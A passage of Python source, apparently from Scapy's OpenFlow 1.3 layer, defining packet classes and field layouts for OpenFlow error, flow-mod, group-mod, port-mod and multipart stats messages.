[ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 1, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"errtype\", 11, ofp_error_type),\n                   ShortEnumField(\"errcode\", 0, {0: \"OFPRRFC_STALE\",\n                                                 1: \"OFPRRFC_UNSUP\",\n                                                 2: \"OFPRRFC_BAD_ROLE\"}),\n                   OFPacketField(\"data\", \"\", Raw)]\n\n\nclass OFPETMeterModFailed(_ofp_header):\n    name = \"OFPET_METER_MOD_FAILED\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 1, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"errtype\", 12, ofp_error_type),\n                   ShortEnumField(\"errcode\", 0, {0: \"OFPMMFC_UNKNOWN\",\n                                                 1: \"OFPMMFC_METER_EXISTS\",\n                                                 2: \"OFPMMFC_INVALID_METER\",\n                                                 3: \"OFPMMFC_UNKNOWN_METER\",\n                                                 4: \"OFPMMFC_BAD_COMMAND\",\n                                                 5: \"OFPMMFC_BAD_FLAGS\",\n                                                 6: \"OFPMMFC_BAD_RATE\",\n                                                 7: \"OFPMMFC_BAD_BURST\",\n                                                 8: \"OFPMMFC_BAD_BAND\",\n                                                 9: \"OFPMMFC_BAD_BAND_VALUE\",\n                                                 10: \"OFPMMFC_OUT_OF_METERS\",\n                                                 11: \"OFPMMFC_OUT_OF_BANDS\"}),\n                   OFPacketField(\"data\", \"\", Raw)]\n\n\nclass OFPETTableFeaturesFailed(_ofp_header):\n    name = \"OFPET_TABLE_FEATURES_FAILED\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 1, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"errtype\", 13, ofp_error_type),\n                   ShortEnumField(\"errcode\", 0, {0: \"OFPTFFC_BAD_TABLE\",\n                                                 1: \"OFPTFFC_BAD_METADATA\",\n                                                 2: \"OFPTFFC_BAD_TYPE\",\n                                                 3: \"OFPTFFC_BAD_LEN\",\n                                                 4: \"OFPTFFC_BAD_ARGUMENT\",\n                                                 5: \"OFPTFFC_EPERM\"}),\n                   OFPacketField(\"data\", \"\", Raw)]\n\n\nclass OFPETExperimenter(_ofp_header):\n    name = \"OFPET_EXPERIMENTER\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 1, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"errtype\", \"OFPET_EXPERIMENTER\", ofp_error_type),  # noqa: E501\n                   ShortField(\"exp_type\", None),\n                   IntField(\"experimenter\", None),\n                   OFPacketField(\"data\", \"\", Raw)]\n\n\n# ofp_error_cls allows generic method OpenFlow3()\n# to choose the right class for dissection\nofp_error_cls = {0: OFPETHelloFailed,\n                 1: OFPETBadRequest,\n                 2: OFPETBadAction,\n                 3: OFPETBadInstruction,\n                 4: OFPETBadMatch,\n                 5: OFPETFlowModFailed,\n                 6: OFPETGroupModFailed,\n                 7: OFPETPortModFailed,\n                 8: OFPETTableModFailed,\n                 9: OFPETQueueOpFailed,\n                 10: OFPETSwitchConfigFailed,\n                 11: OFPETRoleRequestFailed,\n                 12: OFPETMeterModFailed,\n                 13: OFPETTableFeaturesFailed,\n                 65535: OFPETExperimenter}\n\n#                end of OFPT_ERRORS                 #\n\n\nclass OFPTEchoRequest(_ofp_header):\n    name = \"OFPT_ECHO_REQUEST\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 2, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0)]\n\n\nclass OFPTEchoReply(_ofp_header):\n    name = \"OFPT_ECHO_REPLY\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 3, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0)]\n\n\nclass OFPTExperimenter(_ofp_header):\n    name = \"OFPT_EXPERIMENTER\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 4, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   IntField(\"experimenter\", 0),\n                   IntField(\"exp_type\", 0)]\n\n\nclass OFPTFeaturesRequest(_ofp_header):\n    name = \"OFPT_FEATURES_REQUEST\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 5, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0)]\n\n\nclass OFPTFeaturesReply(_ofp_header):\n    name = \"OFPT_FEATURES_REPLY\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 6, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   LongField(\"datapath_id\", 0),\n                   IntField(\"n_buffers\", 0),\n                   ByteField(\"n_tables\", 1),\n                   ByteField(\"auxiliary_id\", 0),\n                   XShortField(\"pad\", 0),\n                   FlagsField(\"capabilities\", 0, 32, [\"FLOW_STATS\",\n                                                      \"TABLE_STATS\",\n                                                      \"PORT_STATS\",\n                                                      \"GROUP_STATS\",\n                                                      \"RESERVED\",  # undefined\n                                                      \"IP_REASM\",\n                                                      \"QUEUE_STATS\",\n                                                      \"ARP_MATCH_IP\",  # undefined  # noqa: E501\n                                                      \"PORT_BLOCKED\"]),\n                   IntField(\"reserved\", 0)]\n\n\nclass OFPTGetConfigRequest(_ofp_header):\n    name = \"OFPT_GET_CONFIG_REQUEST\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 7, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0)]\n\n\nclass OFPTGetConfigReply(_ofp_header):\n    name = \"OFPT_GET_CONFIG_REPLY\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 8, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"flags\", 0, {0: \"FRAG_NORMAL\",\n                                               1: \"FRAG_DROP\",\n                                               2: \"FRAG_REASM\",\n                                               3: \"FRAG_MASK\"}),\n                   ShortField(\"miss_send_len\", 0)]\n\n\nclass OFPTSetConfig(_ofp_header):\n    name = \"OFPT_SET_CONFIG\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 9, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"flags\", 0, {0: \"FRAG_NORMAL\",\n                                               1: \"FRAG_DROP\",\n                                               2: \"FRAG_REASM\",\n                                               3: \"FRAG_MASK\"}),\n                   ShortField(\"miss_send_len\", 128)]\n\n\nclass OFPTPacketIn(_ofp_header):\n    name = \"OFPT_PACKET_IN\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 10, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   IntEnumField(\"buffer_id\", \"NO_BUFFER\", ofp_buffer),\n                   ShortField(\"total_len\", 0),\n                   ByteEnumField(\"reason\", 0, {0: \"OFPR_NO_MATCH\",\n                                               1: \"OFPR_ACTION\",\n                                               2: \"OFPR_INVALID_TTL\"}),\n                   ByteEnumField(\"table_id\", 0, ofp_table),\n                   LongField(\"cookie\", 0),\n                   MatchField(\"match\"),\n                   XShortField(\"pad\", 0),\n                   PacketField(\"data\", \"\", Ether)]\n\n\nclass OFPTFlowRemoved(_ofp_header):\n    name = \"OFPT_FLOW_REMOVED\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 11, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   LongField(\"cookie\", 0),\n                   ShortField(\"priority\", 0),\n                   ByteEnumField(\"reason\", 0, {0: \"OFPRR_IDLE_TIMEOUT\",\n                                               1: \"OFPRR_HARD_TIMEOUT\",\n                                               2: \"OFPRR_DELETE\",\n                                               3: \"OFPRR_GROUP_DELETE\"}),\n                   ByteEnumField(\"table_id\", 0, ofp_table),\n                   IntField(\"duration_sec\", 0),\n                   IntField(\"duration_nsec\", 0),\n                   ShortField(\"idle_timeout\", 0),\n                   ShortField(\"hard_timeout\", 0),\n                   LongField(\"packet_count\", 0),\n                   LongField(\"byte_count\", 0),\n                   MatchField(\"match\")]\n\n\nclass OFPTPortStatus(_ofp_header):\n    name = \"OFPT_PORT_STATUS\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 12, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ByteEnumField(\"reason\", 0, {0: \"OFPPR_ADD\",\n                                               1: \"OFPPR_DELETE\",\n                                               2: \"OFPPR_MODIFY\"}),\n                   XBitField(\"pad\", 0, 56),\n                   PacketField(\"desc\", OFPPort(), OFPPort)]\n\n\nclass OFPTPacketOut(_ofp_header):\n    name = \"OFPT_PACKET_OUT\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 13, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   IntEnumField(\"buffer_id\", \"NO_BUFFER\", ofp_buffer),\n                   IntEnumField(\"in_port\", \"CONTROLLER\", ofp_port_no),\n                   FieldLenField(\"actions_len\", None, fmt=\"H\", length_of=\"actions\"),  # noqa: E501\n                   XBitField(\"pad\", 0, 48),\n                   PacketListField(\"actions\", [], OFPAT,\n                                   OFPAT,\n                                   length_from=lambda pkt:pkt.actions_len),\n                   PacketField(\"data\", \"\", Ether)]\n\n\nclass OFPTFlowMod(_ofp_header):\n    name = \"OFPT_FLOW_MOD\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 14, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   LongField(\"cookie\", 0),\n                   LongField(\"cookie_mask\", 0),\n                   ByteEnumField(\"table_id\", 0, ofp_table),\n                   ByteEnumField(\"cmd\", 0, {0: \"OFPFC_ADD\",\n                                            1: \"OFPFC_MODIFY\",\n                                            2: \"OFPFC_MODIFY_STRICT\",\n                                            3: \"OFPFC_DELETE\",\n                                            4: \"OFPFC_DELETE_STRICT\"}),\n                   ShortField(\"idle_timeout\", 0),\n                   ShortField(\"hard_timeout\", 0),\n                   ShortField(\"priority\", 0),\n                   IntEnumField(\"buffer_id\", \"NO_BUFFER\", ofp_buffer),\n                   IntEnumField(\"out_port\", \"ANY\", ofp_port_no),\n                   IntEnumField(\"out_group\", \"ANY\", ofp_group),\n                   FlagsField(\"flags\", 0, 16, [\"SEND_FLOW_REM\",\n                                               \"CHECK_OVERLAP\",\n                                               \"RESET_COUNTS\",\n                                               \"NO_PKT_COUNTS\",\n                                               \"NO_BYT_COUNTS\"]),\n                   XShortField(\"pad\", 0),\n                   MatchField(\"match\"),\n                   PacketListField(\"instructions\", [], OFPIT,\n                                   length_from=lambda pkt:pkt.len - 48 - (pkt.match.len + (8 - pkt.match.len % 8) % 8))]  # noqa: E501\n    # include match padding to match.len\n\n\nclass OFPTGroupMod(_ofp_header):\n    name = \"OFPT_GROUP_MOD\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 15, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"cmd\", 0, {0: \"OFPGC_ADD\",\n                                             1: \"OFPGC_MODIFY\",\n                                             2: \"OFPGC_DELETE\"}),\n                   ByteEnumField(\"group_type\", 0, {0: \"OFPGT_ALL\",\n                                                   1: \"OFPGT_SELECT\",\n                                                   2: \"OFPGT_INDIRECT\",\n                                                   3: \"OFPGT_FF\"}),\n                   XByteField(\"pad\", 0),\n                   IntEnumField(\"group_id\", 0, ofp_group),\n                   PacketListField(\"buckets\", [], OFPBucket,\n                                   length_from=lambda pkt:pkt.len - 16)]\n\n\nclass OFPTPortMod(_ofp_header):\n    name = \"OFPT_PORT_MOD\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 16, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   IntEnumField(\"port_no\", 0, ofp_port_no),\n                   XIntField(\"pad1\", 0),\n                   MACField(\"hw_addr\", \"0\"),\n                   XShortField(\"pad2\", 0),\n                   FlagsField(\"config\", 0, 32, ofp_port_config),\n                   FlagsField(\"mask\", 0, 32, ofp_port_config),\n                   FlagsField(\"advertise\", 0, 32, ofp_port_features),\n                   XIntField(\"pad3\", 0)]\n\n\nclass OFPTTableMod(_ofp_header):\n    name = \"OFPT_TABLE_MOD\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 17, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ByteEnumField(\"table_id\", 0, ofp_table),\n                   X3BytesField(\"pad\", 0),\n                   IntEnumField(\"config\", 0, {3: \"OFPTC_DEPRECATED_MASK\"})]\n\n\n#####################################################\n#                  OFPT_MULTIPART                   #\n#####################################################\n\n\nofp_multipart_types = {0: \"OFPMP_DESC\",\n                       1: \"OFPMP_FLOW\",\n                       2: \"OFPMP_AGGREGATE\",\n                       3: \"OFPMP_TABLE\",\n                       4: \"OFPMP_PORT_STATS\",\n                       5: \"OFPMP_QUEUE\",\n                       6: \"OFPMP_GROUP\",\n                       7: \"OFPMP_GROUP_DESC\",\n                       8: \"OFPMP_GROUP_FEATURES\",\n                       9: \"OFPMP_METER\",\n                       10: \"OFPMP_METER_CONFIG\",\n                       11: \"OFPMP_METER_FEATURES\",\n                       12: \"OFPMP_TABLE_FEATURES\",\n                       13: \"OFPMP_PORT_DESC\",\n                       65535: \"OFPST_VENDOR\"}\n\nofpmp_request_flags = [\"REQ_MORE\"]\n\nofpmp_reply_flags = [\"REPLY_MORE\"]\n\n\nclass OFPMPRequestDesc(_ofp_header):\n    name = \"OFPMP_REQUEST_DESC\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 18, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"mp_type\", 0, ofp_multipart_types),\n                   FlagsField(\"flags\", 0, 16, ofpmp_request_flags),\n                   XIntField(\"pad\", 0)]\n\n\nclass OFPMPReplyDesc(_ofp_header):\n    name = \"OFPMP_REPLY_DESC\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 19, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"mp_type\", 0, ofp_multipart_types),\n                   FlagsField(\"flags\", 0, 16, ofpmp_reply_flags),\n                   XIntField(\"pad\", 0),\n                   StrFixedLenField(\"mfr_desc\", \"\", 256),\n                   StrFixedLenField(\"hw_desc\", \"\", 256),\n                   StrFixedLenField(\"sw_desc\", \"\", 256),\n                   StrFixedLenField(\"serial_num\", \"\", 32),\n                   StrFixedLenField(\"dp_desc\", \"\", 256)]\n\n\nclass OFPMPRequestFlow(_ofp_header):\n    name = \"OFPMP_REQUEST_FLOW\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 18, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"mp_type\", 1, ofp_multipart_types),\n                   FlagsField(\"flags\", 0, 16, ofpmp_request_flags),\n                   XIntField(\"pad1\", 0),\n                   ByteEnumField(\"table_id\", \"ALL\", ofp_table),\n                   X3BytesField(\"pad2\", 0),\n                   IntEnumField(\"out_port\", \"ANY\", ofp_port_no),\n                   IntEnumField(\"out_group\", \"ANY\", ofp_group),\n                   IntField(\"pad3\", 0),\n                   LongField(\"cookie\", 0),\n                   LongField(\"cookie_mask\", 0),\n                   MatchField(\"match\")]\n\n\nclass OFPFlowStats(_ofp_header_item):\n    name = \"OFP_FLOW_STATS\"\n    fields_desc = [ShortField(\"len\", None),\n                   ByteEnumField(\"table_id\", 0, ofp_table),\n                   XByteField(\"pad1\", 0),\n                   IntField(\"duration_sec\", 0),\n                   IntField(\"duration_nsec\", 0),\n                   ShortField(\"priority\", 0),\n                   ShortField(\"idle_timeout\", 0),\n                   ShortField(\"hard_timeout\", 0),\n                   FlagsField(\"flags\", 0, 16, [\"SEND_FLOW_REM\",\n                                               \"CHECK_OVERLAP\",\n                                               \"RESET_COUNTS\",\n                                               \"NO_PKT_COUNTS\",\n                                               \"NO_BYT_COUNTS\"]),\n                   IntField(\"pad2\", 0),\n                   LongField(\"cookie\", 0),\n                   LongField(\"packet_count\", 0),\n                   LongField(\"byte_count\", 0),\n                   MatchField(\"match\"),\n                   PacketListField(\"instructions\", [], OFPIT,\n                                   length_from=lambda pkt:pkt.len - 52 - pkt.match.len)]  # noqa: E501\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\nclass OFPMPReplyFlow(_ofp_header):\n    name = \"OFPMP_REPLY_FLOW\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 19, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"mp_type\", 1, ofp_multipart_types),\n                   FlagsField(\"flags\", 0, 16, ofpmp_reply_flags),\n                   XIntField(\"pad1\", 0),\n                   PacketListField(\"flow_stats\", [], OFPFlowStats,\n                                   length_from=lambda pkt:pkt.len - 16)]\n\n\nclass OFPMPRequestAggregate(OFPMPRequestFlow):\n    name = \"OFPMP_REQUEST_AGGREGATE\"\n    mp_type = 2\n\n\nclass OFPMPReplyAggregate(_ofp_header):\n    name = \"OFPMP_REPLY_AGGREGATE\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 19, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"mp_type\", 2, ofp_multipart_types),\n                   FlagsField(\"flags\", 0, 16, ofpmp_reply_flags),\n                   XIntField(\"pad1\", 0),\n                   LongField(\"packet_count\", 0),\n                   LongField(\"byte_count\", 0),\n                   IntField(\"flow_count\", 0),\n                   XIntField(\"pad2\", 0)]\n\n\nclass OFPMPRequestTable(_ofp_header):\n    name = \"OFPMP_REQUEST_TABLE\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 18, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"mp_type\", 3, ofp_multipart_types),\n                   FlagsField(\"flags\", 0, 16, ofpmp_request_flags),\n                   XIntField(\"pad1\", 0)]\n\n\nclass OFPTableStats(Packet):\n    name = \"OFP_TABLE_STATS\"\n    fields_desc = [ByteEnumField(\"table_id\", 0, ofp_table),\n                   X3BytesField(\"pad1\", 0),\n                   IntField(\"active_count\", 0),\n                   LongField(\"lookup_count\", 0),\n                   LongField(\"matched_count\", 0)]\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\nclass OFPMPReplyTable(_ofp_header):\n    name = \"OFPMP_REPLY_TABLE\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 19, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"mp_type\", 3, ofp_multipart_types),\n                   FlagsField(\"flags\", 0, 16, ofpmp_reply_flags),\n                   XIntField(\"pad1\", 0),\n                   PacketListField(\"table_stats\", None, OFPTableStats,\n                                   length_from=lambda pkt:pkt.len - 16)]\n\n\nclass OFPMPRequestPortStats(_ofp_header):\n    name = \"OFPMP_REQUEST_PORT_STATS\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 18, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"mp_type\", 4, ofp_multipart_types),\n                   FlagsField(\"flags\", 0, 16, ofpmp_request_flags),\n                   XIntField(\"pad1\", 0),\n                   IntEnumField(\"port_no\", \"ANY\", ofp_port_no),\n                   XIntField(\"pad\", 0)]\n\n\nclass OFPPortStats(Packet):\n    def extract_padding(self, s):\n        return b\"\", s\n    name = \"OFP_PORT_STATS\"\n    fields_desc = [IntEnumField(\"port_no\", 0, ofp_port_no),\n                   XIntField(\"pad\", 0),\n                   LongField(\"rx_packets\", 0),\n                   LongField(\"tx_packets\", 0),\n                   LongField(\"rx_bytes\", 0),\n                   LongField(\"tx_bytes\", 0),\n                   LongField(\"rx_dropped\", 0),\n                   LongField(\"tx_dropped\", 0),\n                   LongField(\"rx_errors\", 0),\n                   LongField(\"tx_errors\", 0),\n                   LongField(\"rx_frame_err\", 0),\n                   LongField(\"rx_over_err\", 0),\n                   LongField(\"rx_crc_err\", 0),\n                   LongField(\"collisions\", 0),\n                   IntField(\"duration_sec\", 0),\n                   IntField(\"duration_nsec\", 0)]\n\n\nclass OFPMPReplyPortStats(_ofp_header):\n    name = \"OFPMP_REPLY_PORT_STATS\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 19, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"mp_type\", 4, ofp_multipart_types),\n                   FlagsField(\"flags\", 0, 16, ofpmp_reply_flags),\n                   XIntField(\"pad1\", 0),\n                   PacketListField(\"port_stats\", None, OFPPortStats,\n                                   length_from=lambda pkt:pkt.len - 16)]\n\n\nclass OFPMPRequestQueue(_ofp_header):\n    name = \"OFPMP_REQUEST_QUEUE\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 18, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"mp_type\", 5, ofp_multipart_types),\n                   FlagsField(\"flags\", 0, 16, ofpmp_request_flags),\n                   XIntField(\"pad1\", 0),\n                   IntEnumField(\"port_no\", \"ANY\", ofp_port_no),\n                   IntEnumField(\"queue_id\", \"ALL\", ofp_queue)]\n\n\nclass OFPQueueStats(Packet):\n    name = \"OFP_QUEUE_STATS\"\n    fields_desc = [IntEnumField(\"port_no\", 0, ofp_port_no),\n                   IntEnumField(\"queue_id\", 0, ofp_queue),\n                   LongField(\"tx_bytes\", 0),\n                   LongField(\"tx_packets\", 0),\n                   LongField(\"tx_errors\", 0),\n                   IntField(\"duration_sec\", 0),\n                   IntField(\"duration_nsec\", 0)]\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\nclass OFPMPReplyQueue(_ofp_header):\n    name = \"OFPMP_REPLY_QUEUE\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 19, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"mp_type\", 5, ofp_multipart_types),\n                   FlagsField(\"flags\", 0, 16, ofpmp_reply_flags),\n                   XIntField(\"pad1\", 0),\n                   PacketListField(\"queue_stats\", None, OFPQueueStats,\n                                   length_from=lambda pkt:pkt.len - 16)]\n\n\nclass OFPMPRequestGroup(_ofp_header):\n    name = \"OFPMP_REQUEST_GROUP\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 18, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"mp_type\", 6, ofp_multipart_types),\n                   FlagsField(\"flags\", 0, 16, ofpmp_request_flags),\n                   XIntField(\"pad1\", 0),\n                   IntEnumField(\"group_id\", \"ANY\", ofp_group),\n                   XIntField(\"pad2\", 0)]\n\n\nclass OFPBucketStats(Packet):\n    name = \"OFP_BUCKET_STATS\"\n    fields_desc = [LongField(\"packet_count\", 0),\n                   LongField(\"byte_count\", 0)]\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\nclass OFPGroupStats(_ofp_header_item):\n    name = \"OFP_GROUP_STATS\"\n    fields_desc = [ShortField(\"len\", None),\n                   XShortField(\"pad1\", 0),\n                   IntEnumField(\"group_id\", 0, ofp_group),\n                   IntField(\"ref_count\", 0),\n                   IntField(\"pad2\", 0),\n                   LongField(\"packet_count\", 0),\n                   LongField(\"byte_count\", 0),\n                   IntField(\"duration_sec\", 0),\n                   IntField(\"duration_nsec\", 0),\n                   PacketListField(\"bucket_stats\", None, OFPBucketStats,\n                                   length_from=lambda pkt:pkt.len - 40)]\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\nclass OFPMPReplyGroup(_ofp_header):\n    name = \"OFPMP_REPLY_GROUP\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 19, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"mp_type\", 6, ofp_multipart_types),\n                   FlagsField(\"flags\", 0, 16, ofpmp_reply_flags),\n                   XIntField(\"pad1\", 0),\n                   PacketListField(\"group_stats\", [], OFPGroupStats,\n                                   length_from=lambda pkt:pkt.len - 16)]\n\n\nclass OFPMPRequestGroupDesc(_ofp_header):\n    name = \"OFPMP_REQUEST_GROUP_DESC\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 18, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"mp_type\", 7, ofp_multipart_types),\n                   FlagsField(\"flags\", 0, 16, ofpmp_request_flags),\n                   XIntField(\"pad1\", 0)]\n\n\nclass OFPGroupDesc(_ofp_header_item):\n    name = \"OFP_GROUP_DESC\"\n    fields_desc = [ShortField(\"len\", None),\n                   ByteEnumField(\"type\", 0, {0: \"OFPGT_ALL\",\n                                             1: \"OFPGT_SELECT\",\n                                             2: \"OFPGT_INDIRECT\",\n                                             3: \"OFPGT_FF\"}),\n                   XByteField(\"pad\", 0),\n                   IntEnumField(\"group_id\", 0, ofp_group),\n                   PacketListField(\"buckets\", None, OFPBucket,\n                                   length_from=lambda pkt: pkt.len - 8)]\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\nclass OFPMPReplyGroupDesc(_ofp_header):\n    name = \"OFPMP_REPLY_GROUP_DESC\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 19, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"mp_type\", 7, ofp_multipart_types),\n                   FlagsField(\"flags\", 0, 16, ofpmp_reply_flags),\n                   XIntField(\"pad1\", 0),\n                   PacketListField(\"group_descs\", [], OFPGroupDesc,\n                                   length_from=lambda pkt:pkt.len - 16)]\n\n\nclass OFPMPRequestGroupFeatures(_ofp_header):\n    name = \"OFPMP_REQUEST_GROUP_FEATURES\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 18, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"mp_type\", 8, ofp_multipart_types),\n                   FlagsField(\"flags\", 0, 16, ofpmp_request_flags),\n                   XIntField(\"pad1\", 0)]\n\n\nofp_action_types_flags = [v for v in ofp_action_types.values()\n                          if v != 'OFPAT_EXPERIMENTER']\n\n\nclass OFPMPReplyGroupFeatures(_ofp_header):\n    name = \"OFPMP_REPLY_GROUP_FEATURES\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 19, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"mp_type\", 8, ofp_multipart_types),\n                   FlagsField(\"flags\", 0, 16, ofpmp_reply_flags),\n                   XIntField(\"pad1\", 0),\n                   FlagsField(\"types\", 0, 32, [\"ALL\",\n                                               \"SELECT\",\n                                               \"INDIRECT\",\n                                               \"FF\"]),\n                   FlagsField(\"capabilities\", 0, 32, [\"SELECT_WEIGHT\",\n                                                      \"SELECT_LIVENESS\",\n                                                      \"CHAINING\",\n                                                      \"CHAINING_CHECKS\"]),\n                   IntField(\"max_group_all\", 0),\n                   IntField(\"max_group_select\", 0),\n                   IntField(\"max_group_indirect\", 0),\n                   IntField(\"max_group_ff\", 0),\n                   # no ofpat_experimenter flag\n                   FlagsField(\"actions_all\", 0, 32, ofp_action_types_flags),\n                   FlagsField(\"actions_select\", 0, 32, ofp_action_types_flags),\n                   FlagsField(\"actions_indirect\", 0, 32, ofp_action_types_flags),  # noqa: E501\n                   FlagsField(\"actions_ff\", 0, 32, ofp_action_types_flags)]\n\n\nclass OFPMPRequestMeter(_ofp_header):\n    name = \"OFPMP_REQUEST_METER\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 18, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"mp_type\", 9, ofp_multipart_types),\n                   FlagsField(\"flags\", 0, 16, ofpmp_request_flags),\n                   XIntField(\"pad1\", 0),\n                   IntEnumField(\"meter_id\", \"ALL\", ofp_meter),\n                   XIntField(\"pad2\", 